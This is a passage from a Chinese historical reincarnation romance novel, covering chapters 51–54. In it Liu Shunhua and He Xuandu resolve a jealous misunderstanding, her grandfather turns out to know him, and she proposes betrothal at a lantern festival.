贺玄度坐直,挡住柳舜华,笑道:“兄长偏心,怎么不问问我什么时候回?是不想我回吗?” 贺玄晖收回目光,温和一笑,“二弟既这么说,那兄长便问,你预备何时回家?” 贺玄度:“和兄长差不多,十余日左右吧。到时,说不定还能一起结个伴。” 柳舜华看到贺玄晖便觉心口憋闷,寻了个借口去帮忙。 才到后厨门口,陈茵便端着一盘甜点过来。 柳舜华并未在意,侧身为表姐让行。 忽然,她似乎想起了什么,猛地一抬头,瞳孔剧缩。 表姐端的是枣泥山药糕,贺玄晖他不能吃山药。 前世,有次贺玄晖误食了她送的山药糕,险些窒息,她因此被丞相夫人痛骂一顿,关在祠堂一整日。 柳舜华慌忙转身,表姐已将甜品端上桌,贺玄晖举着木匙,正将糕点往嘴里送。 不行,贺玄晖若在此出事,表姐的铺子算是毁了。 再过去阻止已经来不及,情急之下,柳舜华喊道:“不要吃,有山药。” 众人一惊,一头雾水望向柳舜华。 贺玄晖的手顿在空中,许久,他缓缓将木匙放下,“柳小姐怎知,我不能吃山药?” 柳舜华怔在原地,脑中一片空白。 贺玄度沉默许久,缓缓转过身子,静静地看着柳舜华,等她一个解释。 柳舜华看着众人,一时头脑混乱,根本不知要如何开口。 许久,贺玄度垂头,轻笑一声。 一瞬间,他好像明白了什么。 那日她说,他们兄弟二人相似,还有此前,她看他的眼神。 原来从始至终,柳舜华在意的,只是贺玄晖。 他默默放下手中的木匙,一言不发,转头走出铺子。 彤彤夕照如火,包裹着贺玄度落寞的身影,挺得笔直的身躯透着莫名的决绝。 柳舜华心底蓦地一阵恐惧。 她怕极了,她怕贺玄度这一去,便再也不回来了。 高柳鸣蝉乱纷纷,街头落花急簌簌。 柳舜华却再也听不到其他,看不到其他,眼中只余贺玄度。 不管屋内一头雾水的众人,等待着回答的贺玄晖,她不管不顾地飞奔着追了出去。 贺玄度走得极快,柳舜华追上的时候,他已经过了桥头。 听到身后急促的脚步声,他身子一顿,终是停住,缓缓回头。 桥边柳枝随风摇曳,柳舜华站在树下,双眸氤氲着雾气,紧张又无措。 贺玄度心上一痛,开口道:“柳舜华,在你心里,我究竟算什么?”【你现在阅读的是 】 50-60 第51章 第51章猝不及防吻了上来 重活一世,柳舜华只想着两件事:柳家平平顺顺;劝贺玄度远走高飞。 她避开了贺玄晖,不用嫁进相府,柳家与丞相府再无纠葛。 可贺玄度,却是个变数。 她原以为,只要取得贺玄度的信任,以他那种桀骜不羁的性情,假以时日,总能劝他远离长安那些是是非非。 可自来凉州遇上贺玄度,他带她骑马驰骋,送她珍宝配饰。他屡次帮她救表姐于水火之中,更是毫不犹豫替她挡下致命一箭。 他热烈诚挚,将一颗真心剖出来,摆在她的面前。 他勾着她压抑在心底的渴望,欲望野草般在暗夜里疯长。 可一想到前世,想到相府那些乌糟之人,想到相府那场大火,她心内止不住恐惧,她退缩了。 她总有一种念头,她怕与贺玄度在一起,又要重蹈前世覆辙。 可这种恐惧,在贺玄度转头离开那刻,统统化为乌有。 比起那些未知的恐惧,她更想牢牢抓住眼前活生生的贺玄度。 柳舜华并未想好说辞,只是本能地追出来。 她着实没想到,贺玄度会问出这样的话。 还未等她反应过来,贺玄度突然走来过来,一把抓过她的肩头,将她拉入怀中。 柳舜华浑身一僵,直愣愣地看着贺玄度。 下一刻,贺玄度眼底一片灼热,带着熊熊妒火,猝不及防吻了上来。熟悉又陌生的气息将她包围,霸道而炙热的双唇紧紧贴她的嘴唇。 柳舜华只觉血液轰然涌入脑内,惊愕地睁大双眼。 贺玄度生涩地肆虐着她软润的唇瓣,抬手将她双眼挡住。 一片漆黑中,唇上的热度尤为明显,一阵酥酥麻麻由双唇席卷全身,柳舜华止不住一阵战栗,揽在她腰间的那双手也跟着微微颤动。 她轻轻地喘息着,抚在腰间的大掌逐渐灼热,顺着她的腰间,几乎将她点燃。 桥下溪水里的鱼儿倏忽跃出水面,去啃噬出水的红莲,鱼尾溅起一阵水花,复又扑通入水。 柳舜华猛地被惊醒,伸手便想推开贺玄度。奈何她力道远远处于下风,被他牢牢钳制,根本无济于事。 她实在无力抗争,只能断断续续呜咽一声:“贺……玄度。” 贺玄度呼吸骤然一滞,她唇上的灼热顿消。 他手臂突然一松,终于将她放开。 柳舜华微微喘着气,又羞又恼,顾不上什么礼仪风范,骂道:“贺玄度,你混蛋。” “柳舜华,你知道吧,我喜欢你。”贺玄度擦着嘴唇,一副破罐子破摔的模样,“你不喜欢我没关系,那就恨我吧!恨我,总比把我当成贺玄晖的替身强。” 柳舜华不是没有察觉贺玄度隐隐的的心思,可乍闻他亲口承认喜欢她,还是一下懵了,然而这份惊愕刹那便被他最后那句给冲得粉碎。 她茫然道:“你说什么替身,谁把你当替身了?” 贺玄度已经绝望的眼神一瞬明亮,很快又暗淡下去,“我已经全明白了,你不用再装了。你接近我,不过是因为我有几分像贺玄晖罢了。” 柳舜华震惊,“你说什么呢?” 贺玄度粗重的呼吸渐渐平稳,低声道:“我知道,你接近我,只是为了贺玄晖。如今你们已经要定亲了,你马上就能嫁给贺玄晖,不再需要我了。” 柳舜华只觉莫名其妙,他怎么会以为他是贺玄晖的替身,凭他也配。还有,她何时与贺玄晖定亲了。 她道:“我们什么时候要定亲了?” 贺玄度微微扬眉,“你,不知道?” 柳舜华细细一想,便知或许是哪里出了岔子,眉头一皱,“谁要与他定亲?我这辈子都不可能嫁给他。” 贺玄度眼中霍然焕发光彩,“那你的意思是,你不喜欢贺玄晖?” 柳舜华叹了一口气,贺玄度这是误会了。 她抬头,望着贺玄度的眼睛,一字一句道:“贺玄度,你听好了。我,不喜欢贺玄晖。这辈子,下辈子,下下辈子都不可能喜欢他。” 明亮的双眸如同夜空璀璨的星辰,她的眼神无比认真,不容置疑。 贺玄度蓦地想起贼军攻打都尉府那日,她看着他,也是这样的眼神。 他终于信了。 他才做了蠢事,不敢再逼问她到底喜不喜欢他。 尽管如此,巨大的欣喜还是涌上心头,他紧握住拳头,只是不停道:“太好了,太好了,你不喜欢他。” 柳舜华看着手足无措的贺玄度,突然有些心疼,气顿时消了大半。 唇上犹留着贺玄度的气息,炙热的温度让她有些恐慌。她从未与男子如此亲近过,虽突然被他唐突,到底羞涩多于气恼。一时不知要如何面对贺玄度,只把脸扭向一边。 贺玄度转头凑到她面前,面露愧色,“柳舜华,我错了,我错了,你别生我的气。” 柳舜华不理他,又将脸扭到另一边。 贺玄度死皮赖脸地凑过去,拉住她的手,“我错了。你若气不过,就打我出出气。” 柳舜华抬手便对着他的胸口捶打起来,她手上无力,落在他身上软绵绵的。 贺玄度笑着站在那,任由她出气。 柔软的双手落在少年紧实的肌肉上,才捶几下,手便有些疼,柳舜华讪讪作罢。 贺玄度垂头道:“不生气了?” 柳舜华瞪了他一下,“谁说的,还气着呢。” 她微仰着脸,唇上泛着潋滟的光泽,脸色绯红,并不见怒色。 贺玄度一看便知她早气消了,忙哄道:“要不,你再骂几句。” 柳舜华看他死缠烂打的样子,突然就气笑了,“谁要骂你。” 贺玄度上去拉她的手,“手捶疼了吧,我给你揉揉。” 柳舜华脸颊通红,甩开他,“你做什么,拉拉扯扯的。” 贺玄度没再去逗她,垂下头,声音不觉温柔起来,“柳舜华,你能追出来,我很开心。” 柳舜华敛了心神,正色问道:“你冲出来,是以为我喜欢贺玄晖?” 贺玄度点头。 柳舜华想起他方才他的话,问:“你说我与他定亲又是怎么回事?” 贺玄度道:“我也是无意间听兄长随从说的,说是丞相府欲与你们柳家结亲。” 柳舜华解释,“此事我并不知晓,想是哪里出了岔子,等回到长安,我会妥善处理此事。” 贺玄度听她如此认真解释,顿时释然,突而又想到一件重要之事。 “既然你不喜欢我大哥,那你为何对他如此了解,连他不能吃山药这样的事都知晓?” 说到底,贺玄度今日如此反常,全是因为此事。柳舜华脑中飞快盘算着,要如何自圆其说,才能让他彻底安心。 上辈子的一切,像一场梦,梦里和如今已是大不相同。 不论其他,若她说,他曾是如何光风霁月,如何清冷出尘,他怕是要笑出声来。 还有,他若是知晓,日后他断了腿,贺家对他视若无物,难保不与家族产生芥蒂。她不想让他觉得,贺家彻底抛弃了他,哪怕是上辈子。 当然,她还有更大的顾虑:她实在不想让他知道,她曾经是他的大嫂。尽管当初嫁入相府是所托非人,但嫁给贺玄晖,到底不是什么光彩的事。 她理好头绪,缓缓道:“还记得那只兔子小白吗?” 贺玄度一愣,怎么又是小白。 她抬头,像是在追忆什么,“小白被你抱进相府后,我日思夜想,总是放心不下。有一日,我实在想念得紧,便蹲在相府门口,希望能再看它一眼。” 贺玄度:“所以,这和我兄长有什么关系?” 柳舜华不紧不慢道:“我蹲了几次,终于有天,让我寻到个机会。那日,你们府内似乎有场宴席,请了个戏班子过去。我提前与戏班子一些打杂的混熟,也随着一同进了去。我在府内到处寻找小白的踪影,却无意间撞见一个小男孩在席间吃了一块饼之后,扑倒在地,呕吐不止。混乱中我听到有人大骂,是谁把红枣山药糕给端了上来,大公子不能吃山药。” 她转头看向贺玄度,“这便是我知晓你兄长不能吃山药的缘由,方才不说,实在是因为我曾窥探过相府,此事可大可小,我与你兄长不熟,不清楚他的为人,不敢贸然开口,恐惹是非。” 贺玄度仔细一想,好像是有这么一回事。当时有个新来的侍女,不小心上错了糕点,导致贺玄晖险些窒息,被程氏打个半死,扔了出去。 他意识到方才是自己太冲动,忙道:“是我误会你了,我以为,你是有意打听过兄长的喜好。” 柳舜华不屑,“不过是只有两面之缘的陌生人而已,也值得我上心。” 贺玄度听后大喜,“他不值得你上心,那我呢?你着急忙慌地追上来,是不是对我上了心?” 柳舜华红着脸,斜了他一眼,“还说呢,再不快些回去,一屋子人都要等急了。” 贺玄度笑了一声,捂着肚子道:“我忙了大半日,东西都没吃就跑出来,饿,待会回去你给我弄点好吃的来。” 柳舜华看他可怜兮兮的样子,柔声道:“好。” 晚风吹拂着杨柳,天边已朦胧浮现出月影。 两人默默走到桥头,柳舜华蓦地顿住脚步,回过头,“贺玄度,你能不能答应我一件事?” 贺玄度想也没想,温声道 :“好。” 柳舜华咬唇,眸光潋滟,“贺玄度,我喜欢的一直都是你,没有别人。下次,你能不能别再丢下我便走……我怕。” 桥下流水哗啦啦地淌过,一点点流进他的心里,将他一颗心彻底搅碎。 贺玄度看着她的眼睛,“好。从今以后,你在,我便在。你走,我陪你走。柳舜华,我会一直站在你边,你赶也赶不走。” 第52章 第52章丧家犬——大公鸡——花…… 两人回到铺子内,贺玄晖果然还未走。 看他们回来,众人齐刷刷地望着他们。 柳舜华有些不自在,微垂着头。 贺玄度扬眉朝众人一笑,活像个斗胜的大公鸡,“看着我们做什么,该做什么做什么啊。” 柳棠华与陈莹年纪小,藏不住心事,两人相视一望,皆是一幅震惊的模样。 这人,方才垂头丧气地离开,像是个落败的丧家犬,怎么转眼又是喜笑颜开。 贺玄度走过贺玄晖身边,若无其事地坐下。 陈茵将柳舜华拉到一边,低声问:“蓁蓁,到底怎么回事?” 柳舜华笑着摇头,示意她安心,想了想,又道:“你们先等一下。” 说罢,转身去了后厨,端来一份白玉方糕递给贺玄度。 贺玄度仰头,笑得嘴都要裂开,“是我最喜欢的白玉糕,有劳了。” 众人目瞪口呆,这两人……搞哪出啊? 贺玄晖放在桌下的手骤然捏紧,抬头依旧笑得温和,“柳小姐方才急着出去,没什么事吧?” 柳舜华淡声道:“劳贺大公子费心,无事。” 贺玄晖长指在桌面上轻轻一敲,“柳小姐,不知可否为我解答方才的疑惑?” 贺玄度挡在柳舜华前面,冲贺玄晖一笑,“兄长,你不能吃山药这事,是我告诉她的。” 贺玄晖明显不信,抬眸扫了一眼贺玄度,“二弟怎么会无缘无故同柳小姐说起我?” “她们这不开了个食铺嘛,我就想起兄长不能吃山药之事,好心提醒她,有些东西,有的人只能看,不能碰。” 贺玄度迎上他探究的目光,缓缓道:“碰了是会要命的。” 贺玄晖脸上的笑骤然僵住,周身凝聚着冷气,只一瞬,那冷气便又散开了。 他微笑:“原来如此。只是不知,方才二弟突然跑出去作甚?” 贺玄度:“我去方便,忍不住了。” 柳舜华一愕,贺玄度还真是……什么话都说。 贺玄晖偏过头,看向柳舜华:“那柳小姐呢?” 贺玄度:“她也忍不住了。” 柳舜华双颊涨红,瞪了贺玄度一眼。 贺玄晖似是知道,再问下去也问不出什么,转身站了起来。 “二弟,我那边还有公务要忙,今日就先行告辞,待回到长安咱们兄弟再好好叙叙。” 贺玄晖一离开,陈茵长舒了一口气。 太可怕!方才,她分明感受到了刀光剑影,吓得她大气都不敢喘。 她这一口气,声音着实大了点。 众人不自觉地望向她。 陈茵尴尬一笑,倒是陈莹嘴快,“姐姐也这么觉得吧,这个大公子,看起来温文尔雅,可就是……太吓人了。” 贺玄度朝她一笑,“那我呢,我吓不吓人?” 陈莹甜甜笑道:“贺二公子人风趣,又没有什么架子,咱们这些人看到你过来,都高兴着呢。” 贺玄度被夸上天,得意道:“还是你有眼光。” 经过这些时日相处,众人明显感觉到两人之间微妙的气氛,方才又先后跑了出去,愈加心知肚明。 只是见两人似乎不愿说破,都自觉当无事一样,各自忙活着手头的活计。 关了铺子,准备离开的时候,贺玄度轻轻拉了下柳舜华的袖子。 柳舜华默默走在后面,贺玄度特意放缓了脚步,慢慢等着她过来。 贺玄度朝她靠近了一些,“今晚,我带你去看灯会如何,这两日夜市那边放河灯。” 柳舜华摇头,“今晚不行,今日开业赚了钱,她们一个个都兴奋着呢,定拉着我不放。” 贺玄度退而求其次,“那明晚呢?” 柳舜华想了想,还未回答,贺玄度突然想起了什么,拉着她的手,“这次,能不能你自己来,咱们还从未单独出去过。” 他可不想她身后再跟着个小尾巴碍事。 柳舜华怕人看到,赶忙点头,“我答应你,你先放开。” 贺玄度得了她的应允,这才把手移开,一双眼睛依旧黏在她身上。 “姐姐,你怎么走这么慢?”柳棠华一转身,见柳舜华落在后面,开始催促起来。 柳舜华心虚,慌张转头道:“就来,就来。” 贺玄度极其少见她如此慌张,像偷吃被抓的猫,忍不住笑了起来。 柳舜华拳头落在他的臂膀,“还笑,还笑,别笑了。” 贺玄度这才止住笑,“那,我先回去了。明日,别忘了。” …… 方一到家,陈莹便迫不及待地展示今日的营收。 舅舅、舅妈被震惊得张大嘴,不停道:“不得了啊,咱们的茵茵真有出息。” 外祖也很是欣慰,“茵丫头手艺好,人又敦厚,这都是她的福报。” 陈莹点头应和,“你们不知道,今日那些人吃了姐姐做的糕点,个个赞不绝口。这口口相传,日后的生意也不会差的。” 外祖连连点头,“那就好。” 陈茵笑着:“外祖,你不要听莹儿吹嘘。今日能赚这许多,多亏了蓁蓁此前让大家做的准备,还有贺二公子也帮了不少忙。” 陈莹插嘴道:“确实,贺二公子那一招投钱入壶,绝妙得很。既招来了客人,又让他们都玩得尽兴,还顺带赚了钱。” 说到贺玄度,外祖突然想起来了,“这贺二公子,可是万都尉的侄子,此前帮蓁蓁挡过一箭的那个?” 柳舜华面上一热,外祖怎么还记得呢。 “正是”陈莹笑道,突然想起了什么,“他不但是万都尉的侄子,还是当今丞相的二公子呢。” 舅妈被惊得愣了许久,“哎呦,这可不得了啊,竟是丞相的公子。我们无缘得见,不知道这贺二公子是怎样的尊贵模样?” 陈莹笑出声来,“他人好得很,不像他那个哥哥,瞧着就不好相处。” 舅妈道:“丞相府大公子也来了凉州城,你们也都见了?” 陈莹仰头道:“自然,就在我们……” 陈茵见她口无遮拦,生怕她说漏嘴当日被带去刺史府一事,忙咳了一声,打断她,“不过是偶然见到的罢了,想是为了前刺史一事。” 说到前刺史,众人一下沉默下来。 虽说陈茵如今已坦然面对那段过往,但这段婚姻到底给她带来不少伤害,纷纷找话错了开。 待众人散尽,外祖叫住了柳舜华。 柳舜华隐隐觉出,外祖叫住她是为了贺玄度,一时有些不安。 外祖果然道:“前阵子,我听莹丫头说,开铺子是你问你一个凉州的朋友借的钱,是这个贺二公子吧?” 柳舜华点头,“是他。上次我被困在都尉府,与他也算有些交情,便问他借了些。表姐说了,等铺子一挣到钱,就还给他。” 外祖看着柳舜华,突然道:“上次他替你挡了一箭,我曾说过要上门致谢,这些时日,你又在忙你表姐铺子的事,一时不得闲也就耽搁了。如今你表姐铺子已经开了,这样吧,明日 你随我一起去趟都尉府,我要见见这位贺二公子,当面致谢。” 柳舜华心内一紧,“啊,外祖,不必了吧?” 外祖却道:“我知道,不管他是都尉侄子,还是相府公子,一样地位尊贵,不是我这种小老百姓说见就见的,但他于我陈家有恩,不管他见不见,咱们的礼节要到。” 柳舜华一时摸不准外祖的想法,隐约觉得他老人家似乎看出来了点什么,又不敢去问,只能先应承下来。 晚间,几人闹腾了一番,加之忙碌一天,很快便各自睡去。 柳舜华躺在床上,辗转反侧,怎么也睡不着。 回顾白日里的一切,仿若在梦中。 上辈子,她受尽了感情带来的苦楚,不敢再轻易将内心示人,只蜷缩在幽暗角落里。她都不知自己哪里来的勇气,不管不顾地追出去,又一时情难自已,将内心的爱慕宣之于口。 她从未对人说过那样的话,哪怕是对曾经的贺玄晖。 如今想起,依旧止不住面红耳赤。 她伸手去捂住滚烫的脸,指尖不经意触到嘴唇,那种酥酥麻麻的感觉又涌了上来,由她的指尖席卷而来。 月色浸透窗纱,洒在床前。 柳舜华眼前浮现出贺玄度的影子,不知他今夜是否同她一样,难以安眠。 周松又一次被贺玄度叫醒。 “怎么了,怎么了?”埋在桌子上的头一下抬起。 贺玄度摇着他,一脸不悦,“怎么又睡了,你现在这耐力可不行啊,要加强锻炼。” 醒来的周松,咬牙切齿。 自打他从柳小姐表姐铺子里回来,已经拉着他讲了一万遍,柳小姐心悦于他。还说此事只有他知,要注意口风。 周松翻了个白眼,除了他,没人会这么无聊,要将他们在一起的消息说一万遍。 未了,又要他召集十几个已经成家立业人的过来,问人家当初都是如何与夫人外出相约的,成亲后又是如何增进感情的。 都尉府内都是些糙汉子,哪里知道怎么约。那成亲了想增进夫妻感情,自然是怎么直接怎么来。折腾着问了一个时辰,没一个有用的。 他不满,非说什么要让柳小姐觉得他们第一次相约尽善尽美,让他一起出主意。 他一个单身汉,连姑娘手都没拉过,这不欺负人嘛。 勉强提了几个,买东西,他说俗。送花,他说土。 折腾得他都睡了,还被叫起来。 贺玄度不知何时换了一件衣袍,“快看看,这件怎么样?” 周松抬眼一瞧,榴红纱罗袍,肩上一片金黄富贵牡丹花,花枝招展,活像个花孔雀。 他不忍直视,“公子,你确定,柳小姐喜欢这样的?” 贺玄度点头,“当然,当日我穿的就同这件差不多,柳舜华看得,那叫一个目不转睛。果然,我就说她有问题。原来,她对我是一见钟情。” 周松再也听不下去,扶额倒在桌上。 有病,表公子同柳舜华都有病。 第53章 第53章咱们定亲吧 柳舜华一向起得早,姐妹们都还在梦中,她已经收拾妥当去帮舅母准备早饭。 天气炎热,晨间不过吃黍米粥,就一些凉拌野菜。 舅母怕她在厨房热着,只把野菜择好,便让她去叫姐妹们起床。 柳舜华起身,才走出厨房,便听到一阵奇怪的鸟鸣声。 顺着声音回头,吓了一跳,墙头上探出一个脑袋。 “贺玄度,怎么是你?”柳舜华有些意外,他怎么这么大早便过来。 晨曦之下,少年清俊的面容愈发如玉,一双眸子清澈明亮,微风吹动着他自由不羁的墨发。 贺玄度隔着围墙,递过去一个布袋,“我路上买的,新鲜着呢,你尝尝。” 柳舜华接过一看,是一大袋樱桃。 个大饱满,颜色鲜亮,还带着湿漉漉的潮气。 她盯着樱桃瞧了许久,现下时辰还早,哪里有樱桃卖。而且这樱桃比寻常商贩卖的要大上许多,瞧着像是上次祁连山山脚边的樱桃。 大约是来得急,他额头上满满都是汗。 此去祁连山骑马怎么也要一个多时辰,他披星戴月,一路风尘仆仆,只是为了能让她在晨间吃上第一口新鲜的樱桃。 柳舜华心内涌起一阵甜蜜,又忍不住有些心疼他。 她抬手帮他拭去汗水,责道:“何必呢,一大早跑那么远去摘樱桃。” 她动作轻柔,像是羽毛拂过,贺玄度心里痒痒的,见她看破,也不再装,笑道:“我睡不着,正好骑马去吹吹风。” 柳舜华收回手,“时辰还早呢,你快些回去休息会儿。” 贺玄度点头,“那我先回去了,晚上,别忘了啊。” 柳舜华朝屋内看了一眼,催促道:“知道了,知道了,快回去吧。” 贺玄度这才恋恋不舍,转身离开。 方才他只有头露在外面,柳舜华不曾留意,这一起身,才注意到他这身行头,着实有点招摇。 她微微一皱眉,突然想到什么,忙叫住他,“等等,回来。” 贺玄度乐颠颠地跑回来,“怎么,这么快就又想我了?” 柳舜华嗔道:“胡说什么呢。此前你帮我挡了一箭,外祖一直说要登门拜访。昨日他老人家又提了此事,说是要今日过去一趟。” 说完,她看了看贺玄度的衣袍,“我外祖,喜欢沉稳一点的。” 贺玄度垂头,终于意识到什么,“你怎么不早说啊,我赶紧回去准备一下。” 说罢,急急忙忙往回跑。 柳舜华看他一副如临大敌的模样,忍不住垂头轻笑。 …… 都尉府内,周松正生无可恋地拿着一大串紫薇花,一瓣一瓣地揪着。 边揪边咬牙,昨日嫌弃花太土,今日又搞这出,若不是看在多给了他几贯钱的份上,他早甩脸子走人了。 万都尉一进门便看到这一幕,绕过地上的花,问:“这是做什么呢?” 周松见是万都尉,哭丧着脸站起来,“都尉,你还是派我去边关守着吧。” 万都尉笑道:“这小子又在搞什么花样?” 周松正想抱怨,便看到贺玄度从外面走了过来,一脸幽怨地闭了嘴。 贺玄度跨进院子,“舅舅,你来了。” 万都尉点头,“九生送走了。” 贺玄度:“嗯,不好远送,只送他出了院子。” 舅舅道:“提早回去的好,他离开长安太久,只怕有些人会不放心。” 说完,仔细瞧了眼贺玄度,身穿玄色素袍,发髻梳得规规整整,浑身上下透着一股庄重肃穆的味道。 “怎么去送九生穿成这样?”舅舅忍不住问。 贺玄度笑道:“舅舅不是常说我不够沉稳,怎么样?” 舅舅眉头微皱,转而道:“对了,前刺史的案子已经结了,五日后,贺玄晖便要回长安复命。” 贺玄度点头:“只是可惜,郑刺史咬死是都是他自己所为。我以为贺玄晖会有办法让他开口,没想到,他竟是个硬骨头。” 舅舅叹声,“他是怕死,但更怕郑家绝后。只要一日不找到郑充,他便会一直咬死不松口。” 贺玄度抬头看向远方,“他应该比谁都清楚,以千机阁的做派,郑充不可能会活着,不过是图个念想罢了。郑列不是个好官,却是个好父亲。” 舅舅看出他心中所想,忙转移话题,“到底还是没能将彭城王拉下马,可惜啊。” 说到彭城王,贺玄度嘴角扯出一丝不屑,“外强中干罢了,他也真是坐不住,竟然想到派人暗杀陈大小姐,借机嫁祸给舅舅。弄巧成拙,皇上那边只怕是会更加疑心他了。” 舅舅点头,想了想,“贺玄晖差人来问,你这边是否与他同行。” 贺玄度若有所思,“一起吧,人多,热闹。” 舅舅有些摸不准他的心思,还未问,侍卫便回报说有个姓陈的老者来求见。 贺玄度一听,忙让人请到正厅。 舅舅奇道:“你认识?” 贺玄度难得紧张,搓手道:“是柳小姐的外祖。” 舅舅“哦”了一声,恍然明白过来,怪道他今日穿得如此老气横秋。 柳舜华坐在堂下,忐忑不安。外祖倒是放松,还品起茶来。 等了片刻,万都尉便走了进来。 贺玄度过于紧张,跟在舅舅身后,头都不敢抬,反复告诫自己,要沉稳。 外祖看到万都尉,起身行礼道:“万都尉好,小老儿又见到你了。” 万都尉忙上前将其扶住,“陈老无须多礼,请坐。” 众人坐定,万都尉便指着贺玄度道:“陈老,这便是我那不成器的侄子,贺玄度。” 贺玄度起身,半低着头,声音低沉:“陈老好!” 外祖点头,不住打量着他,一双饱经世俗风霜的眼显得尤为深沉。 贺玄度坐得直直的,一动也不敢动。 柳 舜华见外祖一直盯着贺玄度,气氛实在有些尴尬,忍不住咳嗽一声。 然而外祖却不为所动,依旧看着贺玄度,“你,抬一下头。” 贺玄度愣了半晌,才意识到是说自己,忙抬起头。 视线交汇刹那,两人皆是一惊,缓缓起身。 “陈老!” “小贺!” 柳舜华与万都尉一愣,什么情况? 外祖激动不已,上前一把揽过贺玄度,抱着他拍了拍,“真是没想到,有生之年,竟然还能见到你。” 贺玄度也动情道:“能见到你,真是太好了。” 反应过来的万都尉大笑一声,“你们这,认识啊?” 外祖这才放开贺玄度,“岂止啊,我们可是过命的交情。” 贺玄度犹拉着外祖的胳膊,“一别多年,我差点没认出您。” 外祖笑道:“方才你一进门,我便瞧着你有些眼熟,只是你这样的打扮,和我记忆里的……我倒一时不敢认了。” 柳舜华惊奇不已,“外祖,你们如何认识的?” 外祖拉着贺玄度坐下,回忆道:“是两年前吧,那时我带着你两个表哥上山去挖药材,谁知遇到风雪,我们不小心就走散了。雪越下越大,根本无法下山,我只得找了个山洞躲进去。风裹着雪吹啊,我在山洞里越来越冷,再也坚持不下去,便睡了过去。谁知醒来的时候,发现身上不知何时披了一件白裘。” 外祖看着贺玄度,“那件白裘,救了我的命啊。这些年,我一直收着,如今可总算能物归原主了。” 贺玄度道:“一件白裘而已,哪值得您如此记挂。被困洞里那几日,若不是您去捡野菌,教我猎雪兔,我哪还有命活。” 说到雪兔,两人眼睛直了起来,纷纷感叹再也没吃过如此美味的东西。 他们一时滔滔不绝,万都尉与柳舜华根本插不上话,只能在一旁干站看他们叙旧。 临别时,外祖依旧拉着贺玄度的手寒暄。 贺玄度亲自扶外祖上了马车,柳舜华跟着要上去,被贺玄度拉了一把。 柳舜华一惊,大庭广众之下,他是要做什么。 贺玄度嘴角带笑,俯身贴在她耳边:“我们也算是见过长辈的人了,今晚是不是可以光明正大去幽会了。” 柳舜华大囧,红着脸钻进了马车。 …… 月上柳梢,凉州的夜开始热闹起来。 街头路边悬挂的红色灯笼已经亮起,火红一片,点燃半边天。石桥边,形状各异的彩灯,五颜六色,一整个街道流光溢彩,仿若神仙境。又有沿河叫卖声不绝,河中船只来来往往,好不热闹。 柳舜华静静地等在桥边,一回头,便看到了远处高大的身影缓缓向她走来。 石桥边,河水畔,绿柳前,少年一身轻薄绿玉袍,松竹玉立,风度翩翩。 柳舜华一瞬恍惚,这么好的贺玄度,终于是她的贺玄度了。 贺玄度走过去,“蓁蓁,久等了。” 柳舜华上下看着他,笑道:“怎么又换了衣袍?” 贺玄度笑,“今日看你穿了明绿,这套更配些。” 柳舜华垂头暗笑,看来贺玄度为了这次幽会,真的费了点心思。 贺玄度摸着头,“走吧,我带你去放河灯。” 河岸旁已聚集不少放河灯的人,贺玄度寻了个人少的地方,先一步走下石阶,笑着朝着柳舜华伸手。 这次,她没有拒绝,抬腕将手搭在他的手心。 贺玄度偷偷瞄了一眼柳舜华,看她脸上挂着浅笑,眼波温柔婉转,一时酥软。 柳舜华蹲下身子,轻轻将手里的莲花灯放入河中,花灯在河面上缓缓飘荡,越来越远,与无数个承载着美好期盼的星星,一起融于无边的浩瀚。 贺玄度道:“你许的什么愿?” 柳舜华笑笑,没有回答,缓缓起身,“我已给家中去了信,近日便要回长安了。回去之后,我便向父兄讲明,绝不会嫁给贺玄晖。” 贺玄度抬眸一笑“那你想嫁给谁?” 圆月高悬在枝头,桥下流水潺潺,柔波荡漾。 柳舜华回头,映着波光粼粼的湖面,缓缓道:“贺玄度,等回到长安,咱们定亲吧。” 第54章 第54章幽会 从岸边走到桥头,贺玄度整个人一直恍恍惚惚,如坠云端。 自向柳舜华表明心迹后,他不是没想过,要同她商议他们的将来,可却怕进展太快,让她徒增压力。 他没想到,柳舜华竟先他一步说了定亲之事。 他隐隐有些后悔,这种事怎么能让她开口提呢,显得他也太怂了些。 不过转念一想,柳舜华一向端庄守礼,能让她开口主动说起定亲,可见对他的情意。 一想到这里,贺玄度一颗心便欢喜得要溢出来。 他伸手抓住柳舜华的手,牢牢攥在掌心。 十指交缠,紧紧相扣,贺玄度常年习武,并不细腻的手掌磨得柳舜华掌心有些发痒,却又无比安心。 月色溶溶,荷风送香,幽草暗生,几点流萤萦绕其间飞舞。 两人一直牵着手,仿佛这一牵便能地老天荒下去。 不知走了多久,柳舜华才恍觉,人影逐渐稀疏起来,他们已经走到了河对岸。 她忍不住道:“咱们好像走得有些偏了。” 贺玄度朝她一笑,“他们都不知道,前面的花灯更好看。” 柳舜华朝远处一看,朦朦胧胧中,寥寥几盏灯光,几声蛙鸣清晰可闻。 她捶他的肩,“你又骗我,哪里有什么灯可看。” 贺玄度捉住她的手,笑道:“你若不信,前去一看便知,我还能吃了你不成。你不会,是怕了吧?” 柳舜华仰头道:“谁怕了,去就去。” 前方溪水边的大树上,周松止不住打了个哈欠。 他伸手将装着花的篮子扶了扶,对着身边的侍卫道:“拿稳点。” 那名侍卫挥手左右拍打起来,“这虫蚁也太多了,早知道这么折腾人,给多少钱也不来。” 周松也暗暗叫苦,谁能想到表公子会想这么一个刁钻的主意。 让他们藏在树上,等到两人走过桥,便将花瓣纷纷洒落,然后还要注意风向,花瓣要一半飘在他们身上,一半飘向水中。 说是如此一来,便能营造一种落花流水的感觉。 还落花流水,他也不怕竹篮打水。 周松安慰道:“来都来了,干完这票,以后再也不接这活了。” 说完又提醒他,“看着点啊,这里林木阴翳的,瞧着不太清晰,别错过了。” 侍卫胸有成竹,“今日大家都去对岸看花灯了,这里黑灯瞎火的,谁会来。再说,表公子今日穿得那花枝招展的,一眼便能认出,错不了。” 正说着,便见远处遥遥走来一对男女。 两人透过密密麻麻的树枝眯眼一望,男的花枝招展,女的身形窈窕。 周松一下打起精神,拿起扇子站了起来,双足稳稳岔在树杈上,做好十足的准备。 人越来越近,周松与侍卫对视一眼,卖力扇了起来。 过了桥,依旧是一片昏暗,柳舜华掐了一把贺玄度,“花灯在哪?我就知道,你在骗我。” 软绵绵的玉手落在胳膊上,像是猫抓一样,贺玄度心旌摇曳,用手 一指:“你看,那里。” 柳舜华抬眼一瞧,垂柳下,影影瞳瞳,立着一对男女。 她回头,不可思议地看向贺玄度,“你带我来这,就是为了偷看人家小夫妻幽会?” 贺玄度也不知为何这里突然来了两个人,忙解释:“不是,我哪里知道会有人,我是想……” 